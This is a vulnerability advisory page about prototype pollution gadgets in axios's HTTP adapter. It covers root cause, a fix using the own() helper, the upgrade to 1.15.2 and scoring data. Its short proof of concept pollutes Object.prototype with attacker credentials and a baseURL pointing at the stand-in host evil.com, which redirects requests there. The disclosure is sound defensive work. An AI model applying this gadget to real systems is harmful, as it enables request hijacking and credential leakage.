Skip to main content

CVE-2026-42264 — Vulnerability in axios — CVE Details

HIGH

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Published May 5, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (1.00%). Schedule for your next planned update.

Does your project use an affected axios version?

Paste your package-lock.json to check it for CVE-2026-42264 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my package-lock.json

Summary

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Advisory Timeline

  • First published May 5, 2026 (205 days ago).
  • Last revised September 10, 2026 — 128 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update axios to 1.15.2 or later
npm install axios@1.15.2

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageFixed In
axios npm · Affected: All versions1.15.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-1321
    Prototype PollutionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.4 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-42264?
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.4/10).
How do I check if my project is affected by CVE-2026-42264?
CVE-2026-42264 affects axios. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42264 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.4

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
1.00%
EPSS percentile: 61.7

This is an above-median EPSS score — 61.7% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-q8qp-cvcw-x6jj

Related CVEs

  • CVE-2025-58754
    HIGH

    Axios is vulnerable to DoS attack through lack of data size check

  • CVE-2026-42043
    HIGH

    Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

  • CVE-2026-101907
    HIGH

    Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF

  • CVE-2026-42037
    MEDIUM

    Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

  • CVE-2026-101899
    MEDIUM

    Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges

  • CVE-2026-101900
    MEDIUM

    Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

  • CVE-2026-67312
    MEDIUM

    Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

  • CVE-2026-42036
    MEDIUM

    Axios: HTTP adapter streamed responses bypass maxContentLength

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my package-lock.json